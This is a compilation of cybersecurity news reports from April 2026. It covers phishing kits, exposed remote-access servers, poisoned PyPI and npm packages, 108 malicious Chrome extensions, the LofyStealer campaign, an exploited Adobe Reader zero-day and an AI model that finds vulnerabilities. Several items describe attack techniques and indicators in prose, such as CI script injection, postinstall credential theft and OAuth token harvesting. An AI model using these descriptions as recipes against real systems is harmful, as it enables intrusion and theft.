WebSocket. Next-gen phishing kits escalateThreat actors have detailed two new phishing kits named Saiga 2FA and Phoenix System that have been linked to emails and SMS phishing attacks. According to Barracuda, Saiga 2FA goes beyond traditional adversary-in-the-middle (AitM) features by integrating tools like FM Scanner for extracting and analyzing mailbox content. "Saiga 2FA is an example of how phishing kits are evolving into application-level platforms," the company said. "Unlike traditional phishing kits, Saiga integrates infrastructure, automation, and post-compromise capabilities into a unified system, supporting advanced and highly targeted campaigns." Phoenix System, on the other hand, has been tied to over 2,500 phishing domains since January 2025, while relying on IP-based filtering and geofencing for precision targeting. It's assessed to be the successor to the now-defunct Mouse System. "The campaigns are delivered via SMS, potentially leveraging fake Base Transceiver Stations (BTS) to bypass carrier-level filtering and allow threat actors to send messages that appear under the brand names of trusted organizations directly to victims," Group-IB said. "The campaign has so far targeted more than 70 organizations across the financial services, telecommunications, and logistics sectors globally." Mass exposure of remote access serversA new analysis from Forescout has found 1.8 million RDP and 1.6 million VNC servers are exposed on the internet. "China accounts for 22% of exposed RDP and 70% of exposed VNC servers; the U.S. accounts for 20% and 7%; Germany accounts for 8% and 2%," the company said. "Of 91,000 RDP and 29,000 VNC servers mapped to specific industries, retail, services, and education lead RDP exposure; education, services, and healthcare lead VNC." What's more, 18% of exposed RDP servers run end-of-life Windows versions, more than 19,000 RDP servers remain vulnerable to BlueKeep (CVE-2019-0708), and nearly 60,000 VNC servers have authentication disabled. To make matters worse, more than 670 exposed VNC servers have authentication disabled and provide direct access to OT/ICS control panels. China-linked influence op faltersA China-linked online influence campaign attempted to undermine April 26 elections for the Tibetan parliament-in-exile with little impact. The operation, part of Spamouflage, a long-running influence network linked to Beijing, has used a cluster of 90 Facebook profiles and 13 Instagram profiles to push criticism of the Tibetan government-in-exile and its leadership. "The network tries to drive wedges within the community," DFRLab said. "The goal is to erode trust in the exile government, weaken its international voice, and raise doubts about whether it can credibly represent Tibetans without the Dalai Lama. However, virtually none of these posts seem to have attracted any organic engagement, possibly because all the identified assets are regular Facebook profiles with limited reach and not established pages." Unpatched RPC privilege escalationAn unpatched vulnerability can allow for local privilege escalation in Windows systems through the abuse of the Remote Procedure Call (RPC) architecture in the operating system. Called PhantomRPC, the flaw stems from an architectural weakness in how RPC handles connections to unavailable services. To exploit the flaw, an attacker with limited local access needs to first compromise a privileged service that runs under the Network Service identity, deploy a fake RPC server with the same RPC interface UUID and exposed endpoint name (i.e., TermService), listen to specific requests, and then impersonate the targeted service to escalate their privileges to SYSTEM. Kaspersky, which identified the weakness, said it discovered four PhantomRPC exploitation paths that could lead to privilege escalation. Following responsible disclosure in September 2025, Microsoft opted to not address the issue as it requires an attacker to first compromise the machine through some other means. Vidar dominates infostealer marketThe information stealer known as Vidar (now in its second iteration called Vidar Stealer 2.0) has vaulted to the top of the infostealer market since November 2025 in the aftermath of law enforcement takedowns of Lumma and Rhadamanthys. "Vidar profited from the generated chaos to rise to the top of the stealer ecosystem," Intrinsec said. "We assess that this rise was made available due to the release of version 2.0 of the malware, and to the collaboration with 'Cloud' Telegram channels." It's advertised by a user named "Loadbaks" on underground forums. Recent campaigns have been observed distributing malware that has used bogus links shared via YouTube videos promoting fake software to direct users to Mediafire pages, which are used to deliver executables responsible for downloading and running the broad-spectrum credential harvester. The stolen credentials are then quickly monetized on underground marketplaces like Russian Market. Critical flaws hit healthcare platformThirty-eight critical security vulnerabilities have been disclosed in OpenEMR, the world's most widely used open-source electronic medical records platform. The vulnerabilities, now patched, range in severity from medium to critical and include missing or incorrect authorization checks, cross-site scripting (XSS), SQL injection, path traversal, and insufficient session expiration. These issues, which include two designated critical (CVE-2026-24908 and CVE-2026-23627), could have been exploited to access and tamper with patient and provider data, posing a serious health and regulatory risk to individuals and institutions. "In the most severe cases, SQL injection vulnerabilities combined with modest database privileges could have led to full database compromise, PHI exfiltration at scale, and remote code execution on the server," AISLE said. OpenEMR is used by more than 100,000 medical providers, serving more than 200 million patients in 34 languages. Swiss crackdown on Black AxeA coordinated police operation in Switzerland has led to the arrest of 10 suspected members of the Black Axe criminal network, including the Black Axe "Regional Head" for the Southern European region. Most of those arrested are reported to be of Nigerian origin. The suspects are accused of numerous crimes, including romance scams, cyber fraud offences causing millions of Swiss francs in damages, and money laundering. "The criminal network is known for its involvement in a wide range of criminal activities, including cyber-enabled fraud, drug trafficking, human trafficking and prostitution, kidnapping, armed robbery, and fraudulent spiritual practices," Europol said. PyPI package hijacked via CI exploitIn yet another software supply chain attack, unknown threat actors pushed a malicious version of the popular "elementary-data" package on the Python Package Index (PyPI) to steal sensitive developer data and cryptocurrency wallets. According to StepSecurity, elementary-data version 0.23.3 was uploaded to PyPI on April 24, 2026, at 10:20 p.m. UTC. The attacker opened a pull request with malicious code and exploited a script-injection vulnerability in one of its GitHub Actions workflows to publish it as release 0.23.3. Specifically, it came embedded with a "elementary.pth" file that enabled the theft of developer credentials and secrets. "The attacker exploited a script injection vulnerability in one of the project's own GitHub Actions workflows, then used the workflow's GITHUB_TOKEN to forge a signed release commit and dispatch the legitimate publishing pipeline against it – without ever touching the master branch or opening a pull request," the company said. The developers urged users who installed 0.23.3, or pulled and ran its Docker image, to assume compromise and rotate any credentials. $230M crypto laundering sentence22-year-old Evan Tangeman of Newport Beach, California, was sentenced to 70 months in prison for laundering funds stolen in a massive $230 million cryptocurrency heist as part of an elaborate social engineering scheme. "This criminal enterprise was built on greed so brazen it borders on the cartoonish. They stole millions, spent it on half-million-dollar nightclub tabs, Lamborghinis, and Rolexes," said U.S. Attorney Jeanine Ferris Pirro. "But Evan Tangeman didn't just launder the money that fueled that lifestyle. When his co-conspirators were arrested, he moved to destroy the evidence. That is consciousness of guilt, and this office and the court have treated that accordingly." Tangeman pleaded guilty in December 2025. The criminal enterprise began no later than October 2023 and continued through at least May 2025. Legacy TLS finally deprecatedMicrosoft has announced plans to start blocking legacy TLS connections for POP and IMAP email clients in Exchange Online starting in July 2026. "We're planning to fully deprecate support for legacy TLS versions (TLS 1.0 and TLS 1.1) for POP3 and IMAP4 connections to Exchange Online. These older TLS versions have been industry-deprecated for some time and are no longer considered secure," the company said. "Several years ago, we started the move to block these older versions, but we did allow you to use them by opting in; we're now removing support for them entirely. Our expectation is that only customers who have explicitly opted into using those legacy endpoints are impacted by the deprecation." Phishing via account flow abuseThreat actors are abusing online trading platform Robinhood's account creation process to send phishing emails that bypass spam filters. The emails, which originate from "noreply@robinhood[.]com," warn of suspicious activity tied to their accounts and urge them to click to complete a security check by clicking on a link that directs to a phishing site. "This phishing attempt was made possible by an abuse of the account creation flow," Robinhood said in an X post. "It was not a breach of our systems or customer accounts, and personal information and funds were not impacted. If you received this email, please delete it and do not click any suspicious links. If you have clicked a suspicious link or have any questions about your account, please contact us directly within the Robinhood app or website." Reports on Reddit indicate that the attackers created new Robinhood accounts using modified versions of existing Gmail addresses via the so-called "dot trick." The technique takes advantage of the fact that Gmail ignores periods inserted into or removed from a username, whereas Robinhood treats each variation as a distinct user, allowing the attackers to create a new account that points to an existing account. Social media scams surgeThe U.S. Federal Trade Commission (FTC) warned of a massive increase in losses from social media scams since 2020, exceeding $2.1 billion in 2025, including $794 million to scams that started on Facebook, more than on any other platform. "In 2025, nearly 30% of people who reported losing money to a scam said that it started on social media, with reported losses reaching a staggering $2.1 billion. Social media scams produced far more in losses – an eightfold increase since 2020 – than any other contact method used by scammers to reach consumers," the FTC said. "Social media creates easy access to billions of people from anywhere in the world, making a scammer's job easier at very little cost. Scammers may hack a user's account, exploit what a user posts to figure out how to target them, or buy ads and use the same tools used by real businesses to target people by age, interests, or shopping habits." Billions of credentials exposedKELA said it tracked 2.86 billion compromised credentials in 2025 globally. These included usernames, passwords, session tokens, cookies found in URL, login and password (ULP) lists, breached email repositories, and cybercrime marketplaces. At least 347 million were originally obtained by infostealers found on around 3.9 million infected machines. arXiv papers leak sensitive dataAn analysis of 2.7 million submissions to the arXiv preprint service -- which also makes available the LaTeX sources and other files used to create them -- has found that they include unnecessary files, expose metadata embedded in files (usernames, email addresses, hardware details, GPS information, software versions), and leak irrelevant content in files such as source code comments. This includes backups, hidden .nfs files, Git repositories (including editing histories), andconfiguration files containing API keys. "Apart from unused template files that put unnecessary storage burden on arXiv, we further discovered scripts, research data, and even entire Git repositories. Additionally, comments in LaTeX sources reveal, e.g., author conversations or todo items – for some of those comments, we are certain that the authors did not intend to disclose them publicly. Alarmingly, our findings also include URLs without any access restrictions to other resources (e.g., Google Docs), security tokens, and private keys," the study said. While arXiv recommends Google's arxiv_latex_cleaner to clean the LaTeX code, the researchers have released a tool called ALC-NG to comprehensively remove files, metadata, and comments that are not needed to compile a LaTeX paper. Roblox account hacking ring bustedThe Ukrainian police have arrested three individuals who hacked more than 610,000 Roblox gaming accounts and sold them for a profit of $225,000 on Russian websites. The suspects face up to 15 years in prison if convicted and have been placed in pretrial detention while the investigation is in progress. The scheme was allegedly masterminded by a 19-year-old resident of Drohobych, Lviv Oblast, who met his accomplices, aged 21 and 22, on gaming forums last year. From October 2025 to January 2026, the suspects are believed to have accessed more than 600,000 Roblox user accounts. Iran-linked group targets troopsThe Iran-linked threat actor Handala Hack has targeted U.S. troops in Bahrain in an influence campaign carried out via WhatsApp, according to Stars and Stripes. The messages, signed Handala and containing a link to the group’s website, claimed the service members were under surveillance and soon to be targeted with drones and missiles. "Your identities are fully known to our missile units, and every move you make is under our surveillance. Very soon, you will be targeted by our Shahed drones and Kheibar and Ghadeer missiles," the message sent on April 28, 2026, read. Record surge in privacy finesU.S. states issued $3.45 billion in privacy-related fines to companies in 2025, a total larger than the last five years combined, per Gartner. "Regulators are also shifting their efforts away from spreading awareness to full-scale enforcement," the company said. "This is increasingly becoming the standard in 2026 and beyond." WordPress plugin backdoor uncoveredAnchor Hosting has revealed that a WordPress plugin named Quick Page/Post Redirect plugin, which has over 70,000 installs, was compromised with a backdoor that enables injecting arbitrary code into users' sites. Plugin versions 5.2.1 and 5.2.2, released between 2020 and 2021, have been found to include a covert self-update mechanism that reaches out to a third-party domain, anadnet[.]com, to facilitate the execution of arbitrary code. It's worth noting that the passive backdoor triggers only for logged-out users to hide its activity from site administrators. As of April 16, the plugin has been closed temporarily pending a full review. Qinglong flaws abused for miningHackers are exploiting two authentication bypass vulnerabilities in Qinglong, an open-source timed task management platform with over 19,500 GitHub stars, to deploy cryptocurrency miners. The two flaws – CVE-2026-3965 and CVE-2026-4047 – enable authentication bypass that results in remote code execution. "While these vulnerabilities were formally reported on February 27, exploitation had already been underway for weeks," Snyk said. "Starting around February 7-8, 2026, Qinglong users began opening issues about a hidden process called .fullgc consuming 85-100% of their CPU. The .fullgc filename may have been chosen to blend in with legitimate processes. In Java/JVM environments, 'Full GC' (Full Garbage Collection) is a known source of CPU spikes, which could delay an administrator's investigation." The issues have since been addressed in #PR 2941. Trivy hack enabled repo breachIn a new update shared this week, Checkmarx said its investigation into the cybersecurity incident has revealed the TeamPCP attack affecting the Trivy scanner is the "likely vector that enabled the attackers to obtain credentials and to gain unauthorized access to our GitHub repositories." This, in turn, allowed the attackers to interact with Checkmarx's GitHub environment and publish malicious code to certain artifacts. The development comes as the company acknowledged that data stolen from the GitHub repository was published on the dark web by a cybercrime group known as LAPSUS$. npm stealer tied to DPRK groupThe North Korean threat actor known as Famous Chollima has been attributed to the npm package named js-logger-pack that comes embedded with a WebSocket stealer that's triggered via a postinstall hook. "The payload is a long-running WebSocket agent that: installs the attacker's RSA key into ~/.ssh/authorized_keys on Linux; exfiltrates Telegram Desktop tdata sessions; drains credentials from 27 crypto wallets and Chromium-family browsers; steals .npmrc, cloud provider tokens, and shell history; and runs a native keylogger on Windows, macOS, and Linux with autostart persistence on all three," SafeDep said. Security is a team sport. We keep seeing the same gaps because we focus on the new shiny toys while the basics, like simple passwords and old software versions, fall through the cracks. It is clear that just having a patch isn't enough if nobody actually installs it. The best lesson here is to stay curious and cautious. Whether it is a weird text from a "trusted" source or a new tool that seems too good to be true, taking a second to verify can save a lot of trouble later. Let's keep learning and stay sharp until the next update!
thehackernews.comApr 30, 2026extracted
Video service Vimeo confirms Anodot breach exposed user data
Vimeo has disclosed that data belonging to some of its customers and users has been accessed without authorization following the recent breach at the Anodot data anomaly detection company. The video platform says that the threat actor accessed email addresses for some of its customers, but most of the exposed information included technical data, video titles, and metadata. "We have identified that, as a result of the Anodot breach, an unauthorized actor accessed certain Vimeo user and customer data. Our initial findings suggest that the databases accessed primarily contain technical data, video titles and metadata, and, in some cases, customer email addresses," Vimeo states. The Vimeo breach was claimed by the infamous extortion group ShinyHunters, who threatened to publish the stolen data by April 30 unless the company paid a ransom. Vimeo is a video hosting and streaming platform, one of the largest alternatives to YouTube, enabling over 300 million registered users to upload, host, and share high-quality videos. The company employs over 1,100 people, has an annual revenue of $417 million, and is publicly traded on the Nasdaq stock market. Yesterday, ShinyHunters listed Vimeo on their extortion portal, claiming to have data from the company's Snowflake and BigQuery instances. Apart from threatening to leak the data, the actor also issued a warning to the company, stating that the platform should expect “several annoying digital problems.” The Anodot incident involved attackers stealing authentication tokens and using them to access customer environments, primarily Snowflake, and exfiltrate data from multiple organizations. The activity has been linked to the ShinyHunters extortion group, which is now attempting to monetize the breach through extortion and by threatening to leak the stolen data from various downstream victims. One of those victims was game development studio Rockstar Games, with ShinyHunters claiming to have exfiltrated more than 78.6 million records. In the case of Vimeo, however, the impact remains unclear as the actor did not state the amount of stolen data. Vimeo has specified that the exposed data does not include video content users uploaded on the platform, account credentials, or payment card information. Also, the platform’s operations remained unaffected. The company has now disabled all Anodot credentials and removed the service’s integration with its systems. Vimeo is now investigating the incident with the help of third-party security experts and has also notified law enforcement authorities. The firm promised to provide updates if the investigation uncovers important new information about the incident. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comApr 28, 2026extracted
Brazilian LofyGang Resurfaces After Three Years With Minecraft LofyStealer Campaign
A cybercrime group of Brazilian origin has resurfaced after more than three years to orchestrate a campaign that targets Minecraft players with a new stealer called LofyStealer (aka GrabBot). "The malware disguises itself as a Minecraft hack called 'Slinky,'" Brazil-based cybersecurity company ZenoX said in a technical report. "It uses the official game icon to induce voluntary execution, exploiting the trust of young users in the gaming scene." The activity has been attributed with high confidence to a threat actor known as LofyGang, which was observed leveraging typosquatted packages on the npm registry to push stealer malware in 2022, specifically with an intent to siphon credit card data and user accounts associated with Discord Nitro, gaming, and streaming services. The group, believed to be active since late 2021, advertises their tools and services on platforms like GitHub and YouTube, while also contributing to an underground hacking community under the alias DyPolarLofy to leak thousands of Disney+ and Minecraft accounts. "Minecraft has been a LofyGang target since 2022," Acassio Silva, co-founder and head of threat intelligence at ZenoX, told The Hacker News. "They leaked thousands of Minecraft accounts under the DyPolarLofy alias on Cracked.io. The current campaign goes after Minecraft players directly through a fake 'Slinky' hack." The attack begins with a Minecraft hack that, when launched, triggers the execution of a JavaScript loader that's ultimately responsible for the deployment of LofyStealer ("chromelevator.exe") on compromised hosts and execute it directly in memory with an aim to harvest a wide range of sensitive data spanning multiple web browsers, including Google Chrome, Chrome Beta, Microsoft Edge, Brave, Opera, Opera GX, Mozilla Firefox, and Avast Browser. The captured data, which includes cookies, passwords, tokens, cards, and International Bank Account Numbers (IBANs), is exfiltrated to a command-and-control (C2) server located at 24.152.36[.]241. "Historically, the group's primary vector was the JavaScript supply chain: NPM package typosquatting, starjacking (fraudulent references to legitimate GitHub repositories to inflate credibility), and payloads embedded in sub-dependencies to evade detection," ZenoX said. "The focus was on Discord token theft, Discord client modification for credit card interception, and exfiltration via webhooks abusing legitimate services (Discord, Repl.it, Glitch, GitHub, and Heroku) as C2." The latest development marks a departure from previously observed tradecraft and a shift towards a malware-as-a-service (MaaS) model with free and premium tiers, along with a bespoke builder called Slinky Cracked that's used as a delivery vehicle for the stealer malware. The disclosure comes as threat actors are increasingly abusing the ubiquity and trust associated with GitHub to host bogus repositories that act as lures for malware families like SmartLoader, StealC Stealer, and Vidar Stealer. Unsuspecting users are directed to these repositories through techniques like SEO poisoning. In some cases, attackers have been found to spread Vidar 2.0 through Reddit posts advertising fake Counter-Strike 2 game cheats, redirecting victims to a malicious website that delivers a ZIP archive containing the malware. "This infostealer campaign highlights an ongoing security challenge where widely trusted platforms are abused to distribute malicious payloads," Acronis said in an analysis published last month. "By taking advantage of social trust and common download channels, threat actors are often able to bypass traditional security solutions." The findings add to a growing list of campaigns that have leveraged GitHub in recent months - Targeting developers directly inside GitHub, using fake Microsoft Visual Studio Code (VS Code) security alerts posted through Discussions to trick users into installing malware by clicking on a link. "Because GitHub Discussions trigger email notifications for participants and watchers, these posts are also delivered directly to developers' inboxes," Socket said. "This extends the reach of the campaign beyond GitHub itself and makes the alerts appear more legitimate." Targeting Argentina's judicial systems using spear‑phishing emails to distribute a compressed ZIP archive that uses an intermediate batch script to retrieve a remote access trojan (RAT) hosted on GitHub. Creating GitHub accounts and OAuth applications, followed by opening an issue that mentions a target developer, triggering an email notification that, in turn, tricks them into authorizing the OAuth app, effectively allowing the attacker to obtain their access tokens. The issues aim to induce a false sense of urgency, warning users of unusual access attempts. Using fraudulent GitHub repositories to distribute malicious batch script installers masquerading as legitimate IT and security software, leading to the deployment of the TookPS downloader, which then initiates a multi-stage infection chain to establish persistent remote access using SSH reverse tunnels and RATs like MineBridge RAT (aka TeviRAT). The activity has been attributed to Rift Brigantine (aka FIN11, Graceful Spider, and TA505). Using counterfeit GitHub repositories posing as AI tools, game cheats, Roblox scripts, phone number location trackers, and VPN crackers to distribute LuaJIT payloads that function as a generic trojan as part of a campaign dubbed TroyDen's Lure Factory. "The breadth of the lure factory – gaming cheats, developer tools, phone trackers, Roblox scripts, VPN crackers – suggests an actor optimizing for volume across audiences rather than precision targeting," Netskope said. "Defenders should treat any GitHub-hosted download that pairs a renamed interpreter with an opaque data file as a high-priority triage candidate, regardless of how legitimate the surrounding repository looks."
thehackernews.comApr 28, 2026extracted
100 Chrome Extensions Steal User Data, Create Backdoor
Over 20,000 users installed malicious Chrome extensions designed to provide a backdoor, steal information, or inject ads, cybersecurity firm Socket reports. The nefarious extensions have been published using five different accounts, namely GameGen, InterAlt, SideGames, Rodeo Games, and Yana Project, but appear to be part of a single, coordinated campaign, based on shared command-and-control (C&C) infrastructure. Socket identified 108 extensions performing various types of malicious activities. Half of them were designed to steal Google accounts via OAuth2, and 45 were injected with a universal backdoor that opens arbitrary URLs when the browser starts. The remaining extensions were designed to exfiltrate Telegram sessions, inject ads into YouTube and TikTok pages, inject content scripts into all visited pages, or to proxy translation requests through an attacker-controlled server. “The 108 extensions are published across several product categories: Telegram sidebar clients, slot machine and Keno games, YouTube and TikTok enhancers, a text translation tool, and page utility extensions. Each targets a different type of user, but all share the same backend,” Socket says. The extensions provide the expected functionality to avoid raising suspicion, but malicious code running in the background connects to the threat actor’s C&C to perform the nefarious activities. Socket draws attention to the Telegram Multi-account extension, which steals the active Telegram Web session and allows the attackers to take over the user account by overwriting the local storage with attacker-supplied data and force-reloading Telegram. Another extension, Web Client for Telegram – Teleside, can steal sessions and has a backdoor in the background script that allows the operators to activate a payload directly, without updating the application through the Chrome Web Store. The 54 extensions that can steal users’ Google accounts at login contain identical code to acquire a Google OAuth2 Bearer token, use it to fetch user information, and send the data to a remote server. “The OAuth token is used locally and never leaves the browser. What reaches the operator’s server is only a permanent identity record: the victim’s email, name, and profile picture,” Socket explains. The background script of 45 extensions contains an identical function that, upon browser start, opens a URL received from the C&C in a new tab. “There is no restriction on what URL the server can return. This channel survives browser restarts and operates independently of whether the user ever opens the extension,” Socket notes. The cybersecurity firm says it reported all the malicious extensions, but they were not immediately removed from the Chrome Web Store. Related: Over 300 Malicious Chrome Extensions Caught Leaking or Stealing User Data Related: Chrome, Edge Extensions Caught Stealing ChatGPT Sessions Related: Malicious Chrome Extension Crashes Browser in ClickFix Variant ‘CrashFix’ Related: Chrome Extensions With 900,000 Downloads Caught Stealing AI Chats
securityweek.comApr 15, 2026extracted
Over 100 Chrome extensions in Web Store target users accounts and data
More than 100 malicious extensions in the official Chrome Web Store are attempting to steal Google OAuth2 Bearer tokens, deploy backdoors, and carry out ad fraud. Researchers at application security company Socket discovered that the malicious extensions are part of a coordinated campaign that uses the same command-and-control (C2) infrastructure. The threat actor published the extensions under five distinct publisher identities in multiple categories: Telegram sidebar clients, slot machine and Keno games, YouTube and TikTok enhancers, a text translation tool, and utilities. According to the researchers, the campaign uses a central backend hosted on a Contabo VPS, with multiple subdomains handling session hijacking, identity collection, command execution, and monetization operations. Socket has found evidence indicating a Russian malware-as-a-service (MaaS) operation, based on comments in the code for authentication and session theft. Harvesting data and hijacking accounts The largest cluster, comprising 78 extensions, injects attacker-controlled HTML into the user interface via the ‘innerHTML’ property. The second-largest group, with 54 extensions, uses ‘chrome.identity.getAuthToken’ to collect the victim’s email, name, profile picture, and Google account ID. They also steal the Google OAuth2 Bearer token, a short-lived access token that permits applications to access a user's data or to act on their behalf. A third batch of 45 extensions features a hidden function that runs on browser startup, acting as a backdoor that fetches commands from the C2 and can open arbitrary URLs. This function does not require the user to interact with the extension. One extension highlighted by Socket as “the most severe” steals Telegram Web sessions every 15 seconds, extracts session data from ‘localStorage’ and the session token for Telegram Web, and sends the info to the C2. “The extension also handles an inbound message (set_session_changed) that performs the reverse operation: it clears the victim's localStorage, overwrites it with threat actor-supplied session data, and force-reloads Telegram,” describes Socket. “This allows the operator to swap any victim's browser into a different Telegram account without the victim's knowledge.” The researchers also found three extensions that strip security headers and inject ads into YouTube and TikTok, one that proxies translation requests through a malicious server, and a non-active Telegram session theft extension that uses staged infrastructure. Socket has notified Google about the campaign, but warns that all malicious extensions are still available on the Chrome Web Store at the time of publishing their report. BleepingComputer confirms that many of the extensions listed in Socket’s report are still available at publishing time. We have reached out to Google for a comment on this, but we have not heard back. Users are recommended to search their installed extensions against the IDs Socket published, and uninstall any matches immediately. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comApr 14, 2026extracted
108 Malicious Chrome Extensions Steal Google and Telegram Data, Affecting 20,000 Users
Cybersecurity researchers have discovered a new campaign in which a cluster of 108 Google Chrome extensions has been found to communicate with the same command-and-control (C2) infrastructure with the goal of collecting user data and enabling browser-level abuse by injecting ads and arbitrary JavaScript code into every web page visited. According to Socket, the extensions (complete list here) are published under five distinct publisher identities – Yana Project, GameGen, SideGames, Rodeo Games, and InterAlt – and have collectively amassed about 20,000 installs in the Chrome Web Store. "All 108 route stolen credentials, user identities, and browsing data to servers controlled by the same operator," security researcher Kush Pandya said in an analysis. Of these, 54 add-ons steal Google account identity via OAuth2, 45 extensions contain a universal backdoor that opens arbitrary URLs as soon as the browser is started, and the remaining ones engage in a variety of malicious behaviors - Exfiltrate Telegram Web sessions every 15 seconds Strip YouTube and TikTok security headers (i.e., Content Security Policy, X-Frame-Options, and CORS) and inject gambling overlays and ads Inject content scripts into every page the user visits Proxy all translation requests through the threat actor's server In an attempt to lend a veneer of legitimacy, the identified extensions masquerade as Telegram sidebar clients, slot machine and Keno games, YouTube and TikTok enhancers, text translation tools, and page utilities. The advertised functionality is diverse, aiming to cast a wide net, while sharing the same backend. Unbeknownst to the users, however, malicious code running in the background captures session information, injects arbitrary scripts, and opens URLs of the attacker's choosing. Some of the identified extensions are listed below - Telegram Multi-account (ID: obifanppcpchlehkjipahhphbcbjekfa), which extracts the user_auth token used by Telegram Web and exfiltrates the data to a remote server. It can also overwrite localStorage with threat actor-supplied session data and force-load the messaging application, effectively replacing the victim's active Telegram session with the threat actor's chosen session. Web Client for Telegram - Teleside (ID: mdcfennpfgkngnibjbpnpaafcjnhcjno), which strips Telegram's security headers and injects scripts to steal Telegram sessions. Formula Rush Racing Game (ID: akebbllmckjphjiojeioooidhnddnplj), which steals the user's Google account identity the first time the victim clicks the sign-in button. This includes details like email, full name, profile picture URL, and Google account identifier. "Five extensions use Chrome's declarativeNetRequest API to strip security headers from target sites before the page loads," Socket said. "All 108 malicious extensions share the same backend, hosted at 144.126.135[.]238." It's currently not known who is behind the policy-violating extensions. However, an analysis of source code has uncovered Russian language comments across several add-ons. Users who have installed any of the extensions are advised to remove them with immediate effect and log out of all Telegram Web sessions from the Telegram mobile app.
thehackernews.comApr 14, 2026extracted
Majority of Australian youth still use social media despite ban, researchers find
Majority of Australian youth still use social media despite ban, researchers find A majority of Australian children under age 16 still use social media apps despite a ban implemented in December, according to new research. Sixty-one percent of Australian children between the ages of 12 and 15 told researchers from a prominent UK foundation and an Australian youth research agency that they can still access accounts on major platforms just as they did before the ban was put in place. The U.K. nonprofit, the Molly Rose Foundation, is a well-known advocacy group whose mission is to fight youth suicide. Foundation officials said the polling of 1,050 children suggests the U.K. should change its Online Safety Act to prevent youth from accessing social media instead of relying on a less enforceable ban. The survey found that TikTok and YouTube retained 53% of previous youth users and Instagram 52%. In most cases, children can still access social media because the platforms “failed to identify and remove their accounts in the first place,” according to the research report. Respondents told the pollsters they have been able to access the platforms without having to find workarounds, according to the researchers. The findings come as the U.K. government is planning new restrictions for youth access to social media, and officials in several European countries have vowed to implement bans in the near term. “These results raise major questions about the effectiveness of Australia’s social media ban and show it would be a high stakes gamble for the UK to follow suit now,” Andy Burrows, chief executive of Molly Rose Foundation, said in a statement. “Parents and children deserve better than a flawed ban that delivers a false sense of safety that quickly unravels.” The foundation said the U.K.’s Online Safety Act should be updated to include a “systemic Duty of Care,” which would require firms to put significant safety rules in place, including by enforcing age restrictions and removing content not appropriate for youth. It also called for the government to “reset regulatory incentives in favour of harm reduction and significantly strengthen the regulatory regime so that it is better targeted to the size and cash-rich position of the largest companies in the world.” In January, the British government announced it is studying how to keep children under age 16 off of social media. In recent weeks, the government has been conducting a pilot program to test a variety of reforms for how youth can use social media. The consultation began in early March and will run through May 26 with a decision on next steps expected soon after that. Prime Minister Keir Starmer said in January that “being a child should not be about constant judgement from strangers or the pressure to perform for likes.” Greek Prime Minister Kyriakos Mitsotakis said last week that his government will ban children under age 15 from social media beginning on January 1, 2027. On April 2, the French Senate voted to ban social media for children under age 15 after the National Assembly passed similar legislation in January. The two bills differ slightly so lawmakers must hammer out a compromise. In November, the European Parliament proposed what’s known as a non-binding resolution, asserting that children 15 and younger should not be able to use video-sharing platforms, social media or AI companions without parental consent. Parliament also said that regardless of parental consent, children under age 13 should be kept off of the platforms. Spanish Prime Minister Pedro Sanchez said in February that his government will block children under 16 from using social media and the Dutch government said it planned to keep children under 15 from accessing the platforms at around the same time. Suzanne Smalley is a reporter covering digital privacy, surveillance technologies and cybersecurity policy for The Record. She was previously a cybersecurity reporter at CyberScoop. Earlier in her career Suzanne covered the Boston Police Department for the Boston Globe and two presidential campaign cycles for Newsweek. She lives in Washington with her husband and three children.
therecord.mediaApr 13, 2026extracted
⚡ Weekly Recap: Fiber Optic Spying, Windows Rootkit, AI Vulnerability Hunting and More
Monday is back, and the weekend’s backlog of chaos is officially hitting the fan. We are tracking a critical zero-day that has been quietly living in your PDFs for months, plus some aggressive state-sponsored meddling in infrastructure that is finally coming to light. It is one of those mornings where the gap between a quiet shift and a full-blown incident response is basically non-existent. The variety this week is particularly nasty. We have AI models being turned into autonomous exploit engines, North Korean groups playing the long game with social engineering, and fileless malware hitting enterprise workflows. There is also a major botnet takedown and new research proving that even fiber optic cables can be used to eavesdrop on your private conversations. Skim this before your next meeting. Let’s get into it. ⚡ Threat of the Week Adobe Acrobat Reader 0-Day Under Attack — Adobe released emergency updates to fix a critical security flaw in Acrobat Reader that has come under active exploitation in the wild. The vulnerability, assigned the CVE identifier CVE-2026-34621, carries a CVSS score of 8.6 out of 10.0. Successful exploitation of the flaw could allow an attacker to run malicious code on affected installations. It has been described as a case of prototype pollution that could result in arbitrary code execution. The development comes days after security researcher and EXPMON founder Haifei Li disclosed details of zero-day exploitation of the flaw to run malicious JavaScript code when opening specially crafted PDF documents through Adobe Reader. There is evidence suggesting that the vulnerability may have been under exploitation since December 2025. Your VPN is Helping Attackers Move as Fast as AI The Zscaler ThreatLabz 2026 VPN Risk Report reveals a dangerous disconnect: while attackers use AI to move at machine speed, legacy VPNs are leaving defenders blind and exposed. When you can’t see what’s happening, response time collapses and the odds of containment drop with it. Get the Report ➝ 🔔 Top News U.S. Warns of Hacking Campaign by Iran-Affiliated Cyber Actors — U.S. agencies warned of a hacking campaign undertaken by Iranian threat actors hitting industrial control systems across the U.S. that has had disruptive and costly effects. The attacks, ongoing since last month, targeted programmable logic controllers (PLCs) in the energy sector, water and wastewater utilities, and government facilities that are left exposed to the public internet with the apparent intention of sabotaging their systems. "In a few cases, this activity has resulted in operational disruption and financial loss," the agencies said. The activity has not been attributed to any particular group. The attacks are part of a wider pattern of escalating Iran-linked operations as the war led by the U.S. and Israel against Iran entered its sixth week. The U.S. and Iran have since agreed to a two-week ceasefire. Anthropic's Mythos Model is a 0-Day and Exploit Generation Engine — A closed consortium including tech giants and top security vendors is getting early access to a general-purpose frontier model that Anthropic says can autonomously discover software vulnerabilities at scale. Because there are concerns that frontier AI capabilities could be abused to launch sophisticated attacks, the idea is to use Mythos to improve the security of some of the most widely used software before bad actors get their hands on it. To that end, Project Glasswing aims to apply these capabilities in a controlled, defensive setting, enabling participating companies to test and improve the security of their own products. In early testing, Anthropic claims the model identified thousands of high-severity vulnerabilities across operating systems, web browsers, and other widely used software, not to mention devising exploits for N-day flaws, in some cases, under a day, significantly compressing the timeline typically required to build working exploits. "New AI models, especially those from Anthropic, have triggered a new set of actions for how we build and secure our products," Cisco, which is one of the launch partners, said. "While the capabilities now available to defenders are remarkable, they soon will also become available to adversaries, defining the critical inflection point we face today. Defensively, AI 